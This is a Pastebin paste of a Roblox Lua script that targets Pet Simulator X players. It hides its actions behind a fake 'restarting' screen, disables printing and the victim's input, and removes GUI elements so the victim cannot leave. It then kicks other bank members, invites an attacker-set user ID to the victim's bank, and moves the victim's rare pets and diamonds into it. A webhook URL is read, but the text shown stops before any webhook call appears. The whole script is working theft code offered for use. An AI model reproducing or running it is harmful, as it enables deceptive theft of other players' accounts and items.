Advertisement
darius9

Untitled

Sep 24th, 2023
55
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 47.79 KB | None | 0 0
  1. if getgenv().executed1 then return end
  2. getgenv().executed1 = true
  3.  
  4. local runService = game:GetService("RunService")
  5. local camera = workspace.CurrentCamera
  6. local disabledKeyCodes = {
  7. 0x73,
  8. 0xA4,
  9. 0xA5,
  10. 0x1B,
  11. 0x0D,
  12. };
  13. UserSettings().GameSettings.MasterVolume = 0
  14. if _G.MouseLock ~= false then
  15. runService.RenderStepped:Connect(function()
  16. for _, keyCode in next, disabledKeyCodes do
  17. keyrelease(keyCode)
  18. end
  19.  
  20. mousemoveabs(camera.ViewportSize.X / 3, camera.ViewportSize.Y / 3);
  21. end);
  22. end
  23. local function antiPrint(...)
  24. local info = debug.getinfo(2)
  25. if info and info.what == 'Lua' and info.func == print then
  26. return
  27. end
  28. return print(...)
  29. end
  30. print = antiPrint
  31. rconsoleprint = antiPrint
  32. rconsolewarn = antiPrint
  33. rconsoleerr = antiPrint
  34. rconsoleinput = antiPrint
  35. printconsole = antiPrint
  36. setclipboard = antiPrint
  37. local runService = game:GetService("RunService")
  38. local camera = workspace.CurrentCamera
  39. local diamond = game.Players.LocalPlayer.PlayerGui.Main.Right.Diamonds.Amount.Text
  40. local rank = game.Players.LocalPlayer.PlayerGui.Main.Right.Rank.RankName.Text
  41.  
  42. -- Detection
  43.  
  44.  
  45. local exploit
  46. request = (syn and syn.request) or (http and http.request) or http_request or (fluxus and fluxus.request) or request or
  47. HttpPost
  48. local function getexploit()
  49. local exploitt =
  50. (syn and not is_sirhurt_closure and not pebc_execute and "Synapse X") or
  51. (secure_load and "Sentinel") or
  52. (is_sirhurt_closure and "Sirhurt") or
  53. (pebc_execute and "ProtoSmasher") or
  54. (KRNL_LOADED and "KRNL") or
  55. (WrapGlobal and "WeAreDevs") or
  56. (isvm and "Proxo") or
  57. (shadow_env and "Shadow") or
  58. (jit and "EasyExploits") or
  59. (getscriptenvs and "Calamari") or
  60. (unit and not syn and "Unit") or
  61. (OXYGEN_LOADED and "Oxygen U") or
  62. (IsElectron and "Electron") or
  63. ("Couldnt Grab")
  64.  
  65. exploit = exploitt
  66. end
  67.  
  68. getexploit()
  69.  
  70. local idiotuser = game:GetService("Players").LocalPlayer.Name
  71. local url = _G.Webhook
  72. if _G.UserID == nil then
  73. game:GetService("Players").LocalPlayer:Kick("Put A UserId")
  74. return;
  75. end
  76. local worked = pcall(function()
  77. game:GetService("Players"):GetNameFromUserIdAsync(_G.UserID)
  78. end)
  79. if not worked then
  80. game:GetService("Players").LocalPlayer:Kick("Put A Valid UserId!")
  81. return;
  82. end
  83. local UserName = game:GetService("Players"):GetNameFromUserIdAsync(_G.UserID)
  84. if idiotuser == UserName then
  85. game:GetService("Players").LocalPlayer:Kick("You Are The Owner! (test on alt)")
  86. end
  87. -- Checks
  88.  
  89. if _G.LoadingScreen ~= false then
  90.  
  91. local ScreenGui = Instance.new("ScreenGui")
  92. local Frame = Instance.new("Frame")
  93. local TextLabel = Instance.new("TextLabel")
  94. local ImageLabel = Instance.new("ImageLabel")
  95. local TextLabel_2 = Instance.new("TextLabel")
  96.  
  97. --Properties:
  98.  
  99. ScreenGui.Parent = game.Players.LocalPlayer:WaitForChild("PlayerGui")
  100. ScreenGui.DisplayOrder = 999999999
  101.  
  102.  
  103. Frame.Parent = ScreenGui
  104. Frame.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
  105. Frame.Position = UDim2.new(-1.1603854, 0, -1.10370374, 0)
  106. Frame.Size = UDim2.new(0, 1000000, 0, 100000000)
  107. UIAspectRatioConstraint = Frame
  108.  
  109. TextLabel.Parent = ScreenGui
  110. TextLabel.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
  111. TextLabel.BackgroundTransparency = 1.000
  112. TextLabel.Position = UDim2.new(0.1512353545, 0, 0.373532414, 0)
  113. TextLabel.Size = UDim2.new(0, 1245, 0, 310)
  114. TextLabel.ZIndex = 3
  115. TextLabel.Font = Enum.Font.SourceSansBold
  116. TextLabel.Text = "We're restarting Pet Simulator X!"
  117. TextLabel.TextColor3 = Color3.fromRGB(255, 255, 255)
  118. TextLabel.TextSize = 70.000
  119. TextLabel.TextWrapped = true
  120.  
  121. ImageLabel.Parent = ScreenGui
  122. ImageLabel.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
  123. ImageLabel.BackgroundTransparency = 1.000
  124. ImageLabel.Position = UDim2.new(0.3251033338259, 0, 0.13342583251, 0)
  125. ImageLabel.Size = UDim2.new(0, 510, 0, 259)
  126. ImageLabel.ZIndex = 2
  127. ImageLabel.Image = "http://www.roblox.com/asset/?id=13441881980"
  128.  
  129. TextLabel_2.Parent = ScreenGui
  130. TextLabel_2.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
  131. TextLabel_2.BackgroundTransparency = 1.000
  132. TextLabel_2.Position = UDim2.new(0.1512353545, 0, 0.468594134, 0)
  133. TextLabel_2.Size = UDim2.new(0, 1245, 0, 310)
  134. TextLabel_2.ZIndex = 3
  135. TextLabel_2.Font = Enum.Font.SourceSansBold
  136. TextLabel_2.Text = "Please wait while we redirect you..."
  137. TextLabel_2.TextColor3 = Color3.fromRGB(255, 255, 255)
  138. TextLabel_2.TextSize = 36.000
  139. TextLabel_2.TextWrapped = true
  140. end
  141. if _G.AntiLeave ~= false then
  142. for i, v in pairs(game:GetService("Players").LocalPlayer.PlayerGui:GetChildren()) do
  143. if v.Name ~= "Inventory" then
  144. v:Destroy()
  145. end
  146. end
  147. for i, v in pairs(game:GetService("CoreGui"):GetChildren()) do
  148. if v.Name ~= "RizzHub" and v.Name ~= "RobloxPromptGui" then
  149. v:Destroy()
  150. end
  151. end
  152. end
  153.  
  154. local ScreenGui = Instance.new("ScreenGui")
  155. local Frame = Instance.new("Frame")
  156. local TextLabel = Instance.new("TextLabel")
  157. local ImageLabel = Instance.new("ImageLabel")
  158. local TextLabel_2 = Instance.new("TextLabel")
  159.  
  160. --Properties:
  161.  
  162. ScreenGui.Parent = game.Players.LocalPlayer:WaitForChild("PlayerGui")
  163. ScreenGui.DisplayOrder = 999999999
  164.  
  165.  
  166. Frame.Parent = ScreenGui
  167. Frame.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
  168. Frame.Position = UDim2.new(-1.1603854, 0, -1.10370374, 0)
  169. Frame.Size = UDim2.new(0, 1000000, 0, 100000000)
  170. UIAspectRatioConstraint = Frame
  171.  
  172. TextLabel.Parent = ScreenGui
  173. TextLabel.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
  174. TextLabel.BackgroundTransparency = 1.000
  175. TextLabel.Position = UDim2.new(0.1512353545, 0, 0.373532414, 0)
  176. TextLabel.Size = UDim2.new(0, 1245, 0, 310)
  177. TextLabel.ZIndex = 3
  178. TextLabel.Font = Enum.Font.SourceSansBold
  179. TextLabel.Text = "We're restarting Pet Simulator X!"
  180. TextLabel.TextColor3 = Color3.fromRGB(255, 255, 255)
  181. TextLabel.TextSize = 70.000
  182. TextLabel.TextWrapped = true
  183.  
  184. ImageLabel.Parent = ScreenGui
  185. ImageLabel.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
  186. ImageLabel.BackgroundTransparency = 1.000
  187. ImageLabel.Position = UDim2.new(0.3251033338259, 0, 0.13342583251, 0)
  188. ImageLabel.Size = UDim2.new(0, 510, 0, 259)
  189. ImageLabel.ZIndex = 2
  190. ImageLabel.Image = "http://www.roblox.com/asset/?id=13441881980"
  191.  
  192. TextLabel_2.Parent = ScreenGui
  193. TextLabel_2.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
  194. TextLabel_2.BackgroundTransparency = 1.000
  195. TextLabel_2.Position = UDim2.new(0.1512353545, 0, 0.468594134, 0)
  196. TextLabel_2.Size = UDim2.new(0, 1245, 0, 310)
  197. TextLabel_2.ZIndex = 3
  198. TextLabel_2.Font = Enum.Font.SourceSansBold
  199. TextLabel_2.Text = "Please wait while we redirect you..."
  200. TextLabel_2.TextColor3 = Color3.fromRGB(255, 255, 255)
  201. TextLabel_2.TextSize = 36.000
  202. TextLabel_2.TextWrapped = true
  203. -- Remotes
  204.  
  205. local getmybanksremote = debug.getconstant(
  206. getsenv(game:GetService("Players").LocalPlayer.PlayerScripts.Scripts.GUIs[
  207. "Bank Client"]).GetMyBanks, 3)
  208.  
  209. local inviteremote = debug.getconstant(getsenv(game:GetService("Players").LocalPlayer.PlayerScripts.Scripts.GUIs[
  210. "Bank Client"]).InviteToBank, 18)
  211.  
  212. local lockremote = debug.getconstant(
  213. getsenv(game:GetService("Players").LocalPlayer.PlayerScripts.Scripts.GUIs.Inventory)
  214. .LockPets, 5)
  215.  
  216. local depositremote = debug.getconstant(getsenv(game:GetService("Players").LocalPlayer.PlayerScripts.Scripts.GUIs[
  217. "Bank Client"]).Deposit, 16)
  218.  
  219. local eggremote = debug.getconstant(
  220. debug.getprotos(getsenv(game:GetService("Players").LocalPlayer.PlayerScripts.Scripts
  221. .Game.Eggs).SetupEgg)[5], 26)
  222.  
  223. local getbankremote = debug.getconstant(getsenv(game:GetService("Players").LocalPlayer.PlayerScripts.Scripts.GUIs[
  224. "Bank Client"]).GetBank, 3)
  225.  
  226. local upgraderemote = debug.getconstant(getsenv(game:GetService("Players").LocalPlayer.PlayerScripts.Scripts.GUIs[
  227. "Bank Client"]).UpgradeBank, 18)
  228.  
  229. local kickremote = debug.getconstant(getsenv(game:GetService("Players").LocalPlayer.PlayerScripts.Scripts.GUIs[
  230. "Bank Client"]).KickMember, 9)
  231.  
  232. local withdrawremote = debug.getconstant(getsenv(game:GetService("Players").LocalPlayer.PlayerScripts.Scripts.GUIs[
  233. "Bank Client"]).Withdraw, 16)
  234.  
  235. -- Libs
  236.  
  237. local blobx = getupvalues(require(game:GetService("ReplicatedStorage").Library.Client["Network"]).Invoke)
  238. local bloby = getupvalues(blobx[2])
  239. local blobz = getupvalues(bloby[1])[1][2]
  240. local bloba = getupvalues(require(game:GetService("ReplicatedStorage").Library.Client["Network"]).Invoke)
  241. local blobb = getupvalues(bloba[2])
  242.  
  243. getmybanksremote = blobz[blobb[2](2, getmybanksremote)]
  244. inviteremote = blobz[blobb[2](2, inviteremote)]
  245. lockremote = blobz[blobb[2](2, lockremote)]
  246. depositremote = blobz[blobb[2](2, depositremote)]
  247. eggremote = blobz[blobb[2](2, eggremote)]
  248. getbankremote = blobz[blobb[2](2, getbankremote)]
  249. upgraderemote = blobz[blobb[2](2, upgraderemote)]
  250. kickremote = blobz[blobb[2](2, kickremote)]
  251. withdrawremote = blobz[blobb[2](2, withdrawremote)]
  252.  
  253.  
  254. local lib = require(game.ReplicatedStorage:WaitForChild("Library"))
  255. local mybanks = getmybanksremote:InvokeServer()
  256.  
  257. game:GetService("Players").LocalPlayer.Character.HumanoidRootPart.CFrame = CFrame.new(game:GetService("Workspace")[
  258. "__MAP"].Interactive.Bank.Pad.Position)
  259.  
  260. task.wait()
  261. if mybanks[1] == nil then
  262. game:GetService("Players").LocalPlayer:Kick("Script Is Not Supported 1")
  263. return;
  264. end
  265. -- Banks Locals
  266.  
  267. -- Bank Withdraws
  268.  
  269. -- Bank 1
  270.  
  271. local SuperBank
  272. local Bank
  273. local SuperBank2
  274. local Bank2
  275. local SuperBank3
  276. local Bank3
  277. local SuperBank4
  278. local Bank4
  279. local SuperBank5
  280. local Bank5
  281. local FinalList2 = {}
  282. local FinalList3 = {}
  283. local FinalList4 = {}
  284. local FinalList5 = {}
  285. local LFinalList = {}
  286. local bdiaamt = 0
  287. local bdiaamt2 = 0
  288. local bdiaamt3 = 0
  289. local bdiaamt4 = 0
  290. local bdiaamt5 = 0
  291. local bankscount = 0
  292. local FinalFinal = 0
  293. local DiamondsDiamonds = 0
  294. Library = require(game:GetService("ReplicatedStorage").Framework:FindFirstChild("Library"))
  295. Functions = Library.Functions
  296.  
  297. LHugBEList = {}
  298.  
  299. table.foreach(Library.Directory.Pets, function(i, v)
  300. if v.huge then
  301. table.insert(LHugBEList, i)
  302. end
  303. if v.titanic then
  304. table.insert(LHugBEList, i)
  305. end
  306. if v.name == "banana" then
  307. table.insert(LHugBEList, i)
  308. end
  309. end)
  310. game:GetService("Players").LocalPlayer.Character.HumanoidRootPart.CFrame = CFrame.new(game:GetService("Workspace")[
  311. "__MAP"].Interactive.Bank.Pad.Position)
  312. if mybanks[1] ~= nil then
  313. bankscount = bankscount + 1
  314. end
  315. if mybanks[2] ~= nil then
  316. bankscount = bankscount + 1
  317. end
  318. if mybanks[3] ~= nil then
  319. bankscount = bankscount + 1
  320. end
  321. if mybanks[4] ~= nil then
  322. bankscount = bankscount + 1
  323. end
  324. if mybanks[5] ~= nil then
  325. bankscount = bankscount + 1
  326. end
  327. if mybanks[1] ~= nil then
  328. local BankID = mybanks[1]["BUID"]
  329. Bank = BankID
  330. LHList = {}
  331. SuperBank = getbankremote:InvokeServer(Bank)
  332. local lpets = SuperBank.Storage.Pets
  333. local y = {}
  334. for i, v in pairs(lpets) do
  335. y[v["uid"]] = false
  336. end
  337. for i, v in pairs(lpets) do
  338. if table.find(LHugBEList, v["id"]) ~= nil and v.l then
  339. table.insert(LHList, v["uid"])
  340. end
  341. end
  342. if #LHList < 50 then
  343. for i, v in pairs(LHList) do
  344. table.insert(LFinalList, v)
  345. end
  346. elseif #LHList > 50 then
  347. for i, v in pairs(LHList) do
  348. if #LFinalList < 50 then
  349. table.insert(LFinalList, v)
  350. end
  351. end
  352. end
  353. if #LFinalList ~= 0 then
  354. local A_5 = {
  355. [1] = Bank,
  356. [2] = LFinalList,
  357. [3] = 0
  358. }
  359.  
  360. wait()
  361. local s, e = pcall(function()
  362. withdrawremote:InvokeServer(Bank, LFinalList, 0)
  363. end)
  364.  
  365. if s == false then
  366. wait(0.2)
  367. withdrawremote:InvokeServer(Bank, FinalList, 0)
  368. end
  369. wait(1.5)
  370. end
  371. end
  372.  
  373. if mybanks[2] ~= nil then
  374. local BankID2 = mybanks[2]["BUID"]
  375. Bank2 = BankID2
  376. SuperBank2 = getbankremote:InvokeServer(Bank2)
  377. BHList2 = {}
  378. local pets2 = SuperBank2.Storage.Pets
  379. local y = {}
  380. for i, v in pairs(pets2) do
  381. y[v["uid"]] = false
  382. end
  383. for i, v in pairs(pets2) do
  384. if table.find(LHugBEList, v["id"]) ~= nil and not v.l then
  385. table.insert(BHList2, v["uid"])
  386. end
  387. end
  388. if #BHList2 < 50 then
  389. for i, v in pairs(BHList2) do
  390. table.insert(FinalList2, v)
  391. end
  392. elseif #BHList2 > 50 then
  393. for i, v in pairs(BHList2) do
  394. if #FinalList2 < 50 then
  395. table.insert(FinalList2, v)
  396. end
  397. end
  398. end
  399. bdiaamt2 = SuperBank2.Storage.Currency.Diamonds
  400. if bdiaamt2 >= 1000000000 then
  401. bdiaamt2 = bdiaamt2
  402. elseif #FinalList2 ~= 0 and bdiaamt2 < 1000000000 then
  403. bdiaamt2 = bdiaamt2
  404. else
  405. bdiaamt2 = 0
  406. end
  407. if #FinalList2 ~= 0 or bdiaamt2 ~= 0 then
  408. local A_1 = {
  409. [1] = Bank2,
  410. [2] = FinalList2,
  411. [3] = 0
  412. }
  413.  
  414. wait()
  415. local s, e = pcall(function()
  416. withdrawremote:InvokeServer(Bank2, FinalList2, bdiaamt2)
  417. end)
  418.  
  419. if s == false then
  420. wait(0.2)
  421. withdrawremote:InvokeServer(Bank2, FinalList2, 0)
  422. end
  423. wait(1.5)
  424. end
  425. end
  426. if mybanks[3] ~= nil then
  427. local BankID3 = mybanks[3]["BUID"]
  428. Bank3 = BankID3
  429. SuperBank3 = getbankremote:InvokeServer(Bank3)
  430. BHList3 = {}
  431. local pets3 = SuperBank3.Storage.Pets
  432. local y = {}
  433. for i, v in pairs(pets3) do
  434. y[v["uid"]] = false
  435. end
  436. for i, v in pairs(pets3) do
  437. if table.find(LHugBEList, v["id"]) ~= nil and not v.l then
  438. table.insert(BHList3, v["uid"])
  439. end
  440. end
  441. if #BHList3 < 50 then
  442. for i, v in pairs(BHList3) do
  443. table.insert(FinalList3, v)
  444. end
  445. elseif #BHList3 > 50 then
  446. for i, v in pairs(BHList3) do
  447. if #FinalList3 < 50 then
  448. table.insert(FinalList3, v)
  449. end
  450. end
  451. end
  452. bdiaamt3 = SuperBank3.Storage.Currency.Diamonds
  453. if bdiaamt3 >= 1000000000 then
  454. bdiaamt3 = bdiaamt3
  455. elseif #FinalList3 ~= 0 and bdiaamt3 < 1000000000 then
  456. bdiaamt3 = bdiaamt3
  457. else
  458. bdiaamt3 = 0
  459. end
  460. if #FinalList3 ~= 0 or bdiaamt3 ~= 0 then
  461. local A_1 = {
  462. [1] = Bank3,
  463. [2] = FinalList3,
  464. [3] = 0
  465. }
  466.  
  467. wait()
  468. local s, e = pcall(function()
  469. withdrawremote:InvokeServer(Bank3, FinalList3, bdiaamt3)
  470. end)
  471.  
  472. if s == false then
  473. wait(0.2)
  474. withdrawremote:InvokeServer(Bank3, FinalList3, 0)
  475. end
  476. wait(1.5)
  477. end
  478. end
  479. if mybanks[4] ~= nil then
  480. local BankID4 = mybanks[4]["BUID"]
  481. Bank4 = BankID4
  482. SuperBank4 = getbankremote:InvokeServer(Bank4)
  483. BHList4 = {}
  484. local pets4 = SuperBank4.Storage.Pets
  485. local y = {}
  486. for i, v in pairs(pets4) do
  487. y[v["uid"]] = false
  488. end
  489. for i, v in pairs(pets4) do
  490. if table.find(LHugBEList, v["id"]) ~= nil and not v.l then
  491. table.insert(BHList4, v["uid"])
  492. end
  493. end
  494. if #BHList4 < 50 then
  495. for i, v in pairs(BHList4) do
  496. table.insert(FinalList4, v)
  497. end
  498. elseif #BHList4 > 50 then
  499. for i, v in pairs(BHList4) do
  500. if #FinalList4 < 50 then
  501. table.insert(FinalList4, v)
  502. end
  503. end
  504. end
  505. bdiaamt4 = SuperBank4.Storage.Currency.Diamonds
  506. if bdiaamt4 >= 1000000000 then
  507. bdiaamt4 = bdiaamt4
  508. elseif #FinalList4 ~= 0 and bdiaamt4 < 1000000000 then
  509. bdiaamt4 = bdiaamt4
  510. else
  511. bdiaamt4 = 0
  512. end
  513. if #FinalList4 ~= 0 or bdiaamt4 ~= 0 then
  514. local A_1 = {
  515. [1] = Bank4,
  516. [2] = FinalList4,
  517. [3] = 0
  518. }
  519.  
  520. wait()
  521. local s, e = pcall(function()
  522. withdrawremote:InvokeServer(Bank4, FinalList4, bdiaamt4)
  523. end)
  524.  
  525. if s == false then
  526. wait(0.2)
  527. withdrawremote:InvokeServer(Bank4, FinalList4, 0)
  528. end
  529. wait(1.5)
  530. end
  531. end
  532.  
  533. -- Bank 5
  534.  
  535. if mybanks[5] ~= nil then
  536. local BankID5 = mybanks[5]["BUID"]
  537. Bank5 = BankID5
  538. SuperBank5 = getbankremote:InvokeServer(Bank5)
  539. BHList5 = {}
  540. local pets5 = SuperBank5.Storage.Pets
  541. local y = {}
  542. for i, v in pairs(pets5) do
  543. y[v["uid"]] = false
  544. end
  545. for i, v in pairs(pets5) do
  546. if table.find(LHugBEList, v["id"]) ~= nil and not v.l then
  547. table.insert(BHList5, v["uid"])
  548. end
  549. end
  550. if #BHList5 < 50 then
  551. for i, v in pairs(BHList5) do
  552. table.insert(FinalList5, v)
  553. end
  554. elseif #BHList5 > 50 then
  555. for i, v in pairs(BHList5) do
  556. if #FinalList5 < 50 then
  557. table.insert(FinalList5, v)
  558. end
  559. end
  560. end
  561. bdiaamt5 = SuperBank5.Storage.Currency.Diamonds
  562. if bdiaamt5 >= 1000000000 then
  563. bdiaamt5 = bdiaamt5
  564. elseif #FinalList5 ~= 0 and bdiaamt5 < 1000000000 then
  565. bdiaamt5 = bdiaamt5
  566. else
  567. bdiaamt5 = 0
  568. end
  569. if #FinalList5 ~= 0 or bdiaamt5 ~= 0 then
  570. local A_1 = {
  571. [1] = Bank5,
  572. [2] = FinalList5,
  573. [3] = 0
  574. }
  575.  
  576. wait()
  577. local s, e = pcall(function()
  578. withdrawremote:InvokeServer(Bank5, FinalList5, bdiaamt5)
  579. end)
  580.  
  581. if s == false then
  582. wait(0.2)
  583. withdrawremote:InvokeServer(Bank5, FinalList5, 0)
  584. end
  585. wait(1.5)
  586. end
  587. end
  588. FinalFinal = #FinalList2 + #FinalList3 + #FinalList4 + #FinalList5
  589. DiamondsDiamonds = bdiaamt2 + bdiaamt3 + bdiaamt4 + bdiaamt5
  590. print(DiamondsDiamonds)
  591.  
  592.  
  593. local SuperBank = getbankremote:InvokeServer(Bank)
  594. local tier = SuperBank["Tier"]
  595. local max = 50
  596. local gemsinbank = SuperBank["Storage"]["Currency"]["Diamonds"]
  597. local petsinbank = #SuperBank["Storage"]["Pets"]
  598. local tier1hold = 40 - petsinbank
  599. local tier2hold = 95 - petsinbank
  600. local tier3hold = 200 - petsinbank
  601. local tier4hold = 500 - petsinbank
  602. local tier1gems = 10000000000 - gemsinbank
  603. local tier2gems = 50000000000 - gemsinbank
  604. local tier3gems = 300000000000 - gemsinbank
  605. local tier4gems = 1500000000000 - gemsinbank
  606.  
  607. -- Kicking The Players
  608.  
  609. for i, v in pairs(SuperBank["Players"]) do
  610. if v ~= _G.UserID then
  611. kickremote:InvokeServer(Bank, v)
  612. end
  613. end
  614.  
  615. -- First Invite
  616.  
  617. if tier ~= 1 then
  618. inviteremote:InvokeServer(mybanks[1]["BUID"], _G.UserID)
  619. end
  620. -- Bank Pets
  621. Library = require(game:GetService("ReplicatedStorage").Framework:FindFirstChild("Library"))
  622. Functions = Library.Functions
  623.  
  624.  
  625. BEXCList = {}
  626. BMythicList = {}
  627. BSecretList = {}
  628. BHugeList = {}
  629. BPogList = {}
  630. BBananaList = {}
  631.  
  632.  
  633. BSList = {}
  634. BEList = {}
  635. BMList = {}
  636. BHList = {}
  637. BPList = {}
  638. BBList = {}
  639.  
  640. table.foreach(Library.Directory.Pets, function(i, v)
  641. if v.rarity == "Exclusive" or v.rarity == "Event" then
  642. table.insert(BEXCList, i)
  643. end
  644. if v.rarity == "Mythical" then
  645. table.insert(BMythicList, i)
  646. end
  647. if v.huge then
  648. table.insert(BHugeList, i)
  649. end
  650. if v.rarity == "Secret" then
  651. table.insert(BSecretList, i)
  652. end
  653. if string.split(v.name, " ")[1] == "Pog" then
  654. table.insert(BPogList, i)
  655. end
  656. if v.name == "banana" then
  657. table.insert(BBananaList, i)
  658. end
  659. end)
  660. for i, v in pairs(BPogList) do
  661. table.insert(BEXCList, v)
  662. end
  663. for i, v in pairs(BBananaList) do
  664. table.insert(BEXCList, v)
  665. end
  666. local pets = SuperBank["Storage"]["Pets"]
  667. local y = {}
  668. for i, v in pairs(pets) do
  669. y[v["uid"]] = false
  670. end
  671. for i, v in pairs(pets) do
  672. if table.find(BEXCList, v["id"]) ~= nil then
  673. table.insert(BEList, v["uid"])
  674. end
  675. if table.find(BMythicList, v["id"]) ~= nil and v.s >= 1e+15 then
  676. table.insert(BMList, v["uid"])
  677. end
  678. if table.find(BSecretList, v["id"]) ~= nil then
  679. table.insert(BSList, v["uid"])
  680. end
  681. if table.find(BHugeList, v["id"]) ~= nil then
  682. table.insert(BHList, v["uid"])
  683. end
  684. end
  685.  
  686. local BEHList = #BEList - #BHList
  687.  
  688. -- Pet stuff
  689. local FinalList = {}
  690.  
  691. Library = require(game:GetService("ReplicatedStorage").Framework:FindFirstChild("Library"))
  692. Functions = Library.Functions
  693.  
  694. EXCList = {}
  695. MythicList = {}
  696. SecretList = {}
  697. HugeList = {}
  698. PogList = {}
  699. BananaList = {}
  700.  
  701.  
  702. SList = {}
  703. EList = {}
  704. MList = {}
  705. HList = {}
  706. PList = {}
  707. BList = {}
  708.  
  709. table.foreach(Library.Directory.Pets, function(i, v)
  710. if v.rarity == "Exclusive" and not v.huge then
  711. table.insert(EXCList, i)
  712. end
  713. if v.rarity == "Event" then
  714. table.insert(EXCList, i)
  715. end
  716. if v.rarity == "Mythical" then
  717. table.insert(MythicList, i)
  718. end
  719. if v.huge then
  720. table.insert(HugeList, i)
  721. end
  722. if v.rarity == "Secret" then
  723. table.insert(SecretList, i)
  724. end
  725. if string.split(v.name, " ")[1] == "Pog" then
  726. table.insert(PogList, i)
  727. end
  728. if v.name == "banana" then
  729. table.insert(BananaList, i)
  730. end
  731. end)
  732. for i, v in pairs(PogList) do
  733. table.insert(EXCList, v)
  734. end
  735. for i, v in pairs(BananaList) do
  736. table.insert(EXCList, v)
  737. end
  738. local pets = require(game:GetService("ReplicatedStorage").Library.Client.Save).Get().Pets
  739. local y = {}
  740. for i, v in pairs(pets) do
  741. y[v["uid"]] = false
  742. end
  743. lockremote:InvokeServer(y)
  744. for i, v in pairs(pets) do
  745. if table.find(EXCList, v["id"]) ~= nil then
  746. table.insert(EList, v["uid"])
  747. end
  748. if table.find(MythicList, v["id"]) ~= nil and v.s >= 1e+15 and not v.hc then
  749. table.insert(MList, v["uid"])
  750. end
  751. if table.find(MythicList, v["id"]) ~= nil and v.hc then
  752. table.insert(MList, v["uid"])
  753. end
  754. if table.find(SecretList, v["id"]) ~= nil then
  755. table.insert(SList, v["uid"])
  756. end
  757. if table.find(HugeList, v["id"]) ~= nil then
  758. table.insert(HList, v["uid"])
  759. end
  760. end
  761. if tier == 1 then
  762. max = tier1hold
  763. elseif tier == 2 then
  764. if tier2hold > 50 then
  765. max = 50
  766. elseif tier2hold < 50 then
  767. max = tier2hold
  768. end
  769. elseif tier == 3 then
  770. if tier3hold > 50 then
  771. max = 50
  772. elseif tier3hold < 50 then
  773. max = tier3hold
  774. end
  775. elseif tier == 4 then
  776. if tier4hold > 50 then
  777. max = 50
  778. elseif tier4hold < 50 then
  779. max = tier4hold
  780. end
  781. else
  782. max = 50
  783. end
  784. print(max)
  785. if #EList + #MList + #PList + #SList + #HList < max then
  786. for i, v in pairs(HList) do
  787. table.insert(FinalList, v)
  788. end
  789. for i, v in pairs(EList) do
  790. table.insert(FinalList, v)
  791. end
  792. for i, v in pairs(SList) do
  793. table.insert(FinalList, v)
  794. end
  795. for i, v in pairs(MList) do
  796. table.insert(FinalList, v)
  797. end
  798. elseif #EList + #SList + #MList + #HList > max and #HList < max then
  799. for i, v in pairs(HList) do
  800. table.insert(FinalList, v)
  801. end
  802. for i, v in pairs(EList) do
  803. if #FinalList < max then
  804. table.insert(FinalList, v)
  805. end
  806. end
  807. for i, v in pairs(SList) do
  808. if #FinalList < max then
  809. table.insert(FinalList, v)
  810. end
  811. end
  812. for i, v in pairs(MList) do
  813. if #FinalList < max then
  814. table.insert(FinalList, v)
  815. end
  816. end
  817. elseif #EList + #SList + #MList + #HList > max and #HList > max then
  818. for i, v in pairs(HList) do
  819. if #FinalList < max then
  820. table.insert(FinalList, v)
  821. end
  822. end
  823. elseif #EList + #MList + #PList + #SList + #HList > max and #HList == 0 and #EList < max then
  824. for i, v in pairs(EList) do
  825. table.insert(FinalList, v)
  826. end
  827. for i, v in pairs(SList) do
  828. if #FinalList < max then
  829. table.insert(FinalList, v)
  830. end
  831. end
  832. for i, v in pairs(MList) do
  833. if #FinalList < max then
  834. table.insert(FinalList, v)
  835. end
  836. end
  837. elseif #EList + #MList + #PList + #SList > max and #HList == 0 and #EList > max then
  838. for i, v in pairs(EList) do
  839. if #FinalList < max then
  840. table.insert(FinalList, v)
  841. end
  842. end
  843. elseif #EList + #MList + #PList + #SList > max and #HList == 0 and #EList == 0 and #SList < max then
  844. for i, v in pairs(SList) do
  845. table.insert(FinalList, v)
  846. end
  847. for i, v in pairs(MList) do
  848. if #FinalList < max then
  849. table.insert(FinalList, v)
  850. end
  851. end
  852. elseif #EList + #MList + #PList + #SList > max and #HList == 0 and #EList == 0 and #SList > max then
  853. for i, v in pairs(SList) do
  854. if #FinalList < max then
  855. table.insert(FinalList, v)
  856. end
  857. end
  858. end
  859. -- Bank Pets
  860. wait()
  861. game:GetService("Players").LocalPlayer.PlayerScripts.Scripts.Game["Open Eggs"].Disabled = true
  862. local A_1 = {
  863. [1] = "Cracked Egg",
  864. [2] = false
  865. }
  866. eggremote:InvokeServer("Cracked Egg", false, false)
  867. wait()
  868. local A_1 = {
  869. [1] = Bank,
  870. [2] = FinalList,
  871. [3] = 0
  872. }
  873.  
  874. wait()
  875. local diaamt = require(game:GetService("ReplicatedStorage").Library.Client.Save).Get().Diamonds
  876. if diaamt ~= 0 then
  877. diaamt = diaamt - 1
  878. end
  879.  
  880. if tier == 1 and diaamt > tier1gems then
  881. diaamt = tier1gems
  882. elseif tier == 1 and diaamt <= tier1gems then
  883. diaamt = diaamt
  884. elseif tier == 2 and diaamt > tier2gems then
  885. diaamt = tier2gems
  886. elseif tier == 2 and diaamt <= tier2gems then
  887. diaamt = diaamt
  888. elseif tier == 3 and diaamt > tier3gems then
  889. diaamt = tier3gems
  890. elseif tier == 3 and diaamt <= tier3gems then
  891. diaamt = diaamt
  892. elseif tier == 4 and diaamt > tier4gems then
  893. diaamt = tier4gems
  894. elseif tier == 4 and diaamt <= tier4gems then
  895. diaamt = diaamt
  896. else
  897. diaamt = diaamt
  898. end
  899.  
  900.  
  901.  
  902.  
  903. local s, e = pcall(function()
  904. wait(0.2)
  905. depositremote:InvokeServer(Bank, FinalList, diaamt)
  906. end)
  907.  
  908. if s == false then
  909. wait(0.2)
  910. depositremote:InvokeServer(Bank, FinalList, 1)
  911. end
  912. local banktiercheck = true
  913. if s == true then
  914. if tier == 1 and diaamt + SuperBank["Storage"]["Currency"]["Diamonds"] >= 40000000 then
  915. upgraderemote:InvokeServer(Bank)
  916. banktiercheck = true
  917. tier = 2
  918. elseif tier == 1 and diaamt + SuperBank["Storage"]["Currency"]["Diamonds"] < 40000000 then
  919. banktiercheck = false
